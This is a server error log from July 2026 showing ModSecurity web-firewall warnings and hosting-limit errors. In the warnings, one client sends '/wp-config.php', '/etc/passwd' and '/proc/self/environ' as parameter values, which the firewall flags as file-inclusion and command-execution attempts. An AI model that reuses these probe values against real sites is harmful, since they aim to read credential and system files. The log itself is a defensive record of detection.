[Fri Jul 17 08:55:55.637993 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/robots.txt"] [unique_id "almgw0gVnBK6wAv37w6sqgAAABQ"]
[Fri Jul 17 08:55:55.638327 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/robots.txt"] [unique_id "almgw0gVnBK6wAv37w6sqgAAABQ"]
[Fri Jul 17 08:55:55.904035 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.032398 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.445244 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.451798 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.453711 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.454024 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.796595 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:data: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxI1dLClkUfK_dfHlFwAAAAI"]
[Fri Jul 17 08:55:56.796627 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:data: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxA7FYe46zHK_jL3QHQAAABk"]
[Fri Jul 17 08:55:56.797215 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxA7FYe46zHK_jL3QHQAAABk"]
[Fri Jul 17 08:55:56.797278 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxI1dLClkUfK_dfHlFwAAAAI"]
[Fri Jul 17 08:55:56.797320 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.797424 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.797625 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxA7FYe46zHK_jL3QHQAAABk"]
[Fri Jul 17 08:55:56.798094 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxI1dLClkUfK_dfHlFwAAAAI"]
[Fri Jul 17 08:55:56.800100 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:data: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxKquHSHoCJK_V0SBigAAABs"]
[Fri Jul 17 08:55:56.800253 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:data: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxKquHSHoCJK_V0SBigAAABs"]
[Fri Jul 17 08:55:56.800552 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:data: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxLEWOaI5pmYo9fnPFQAAAAA"]
[Fri Jul 17 08:55:56.800667 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:data: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxLEWOaI5pmYo9fnPFQAAAAA"]
[Fri Jul 17 08:55:56.800990 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxKquHSHoCJK_V0SBigAAABs"]
[Fri Jul 17 08:55:56.801103 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxLEWOaI5pmYo9fnPFQAAAAA"]
[Fri Jul 17 08:55:56.801163 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.801194 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.801451 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxLEWOaI5pmYo9fnPFQAAAAA"]
[Fri Jul 17 08:55:56.801563 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxKquHSHoCJK_V0SBigAAABs"]
[Fri Jul 17 08:55:56.802352 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:data: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxBHlOGcokz2QIwTTagAAAAM"]
[Fri Jul 17 08:55:56.802510 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:data: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxBHlOGcokz2QIwTTagAAAAM"]
[Fri Jul 17 08:55:56.803201 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxBHlOGcokz2QIwTTagAAAAM"]
[Fri Jul 17 08:55:56.803381 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.803797 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxBHlOGcokz2QIwTTagAAAAM"]
[Fri Jul 17 08:55:56.805720 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:data: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxA5GPQ6hs4VrfMpB3AAAAAY"]
[Fri Jul 17 08:55:56.805861 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:data: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxA5GPQ6hs4VrfMpB3AAAAAY"]
[Fri Jul 17 08:55:56.806397 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxA5GPQ6hs4VrfMpB3AAAAAY"]
[Fri Jul 17 08:55:56.806542 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.806874 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxA5GPQ6hs4VrfMpB3AAAAAY"]
[Fri Jul 17 08:55:56.812859 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.814429 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.821467 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.858897 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.867793 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.871194 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.882753 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.900713 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.902497 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:lang: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxFCBpfuYyhJ140vS-QAAAB4"]
[Fri Jul 17 08:55:56.903049 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxFCBpfuYyhJ140vS-QAAAB4"]
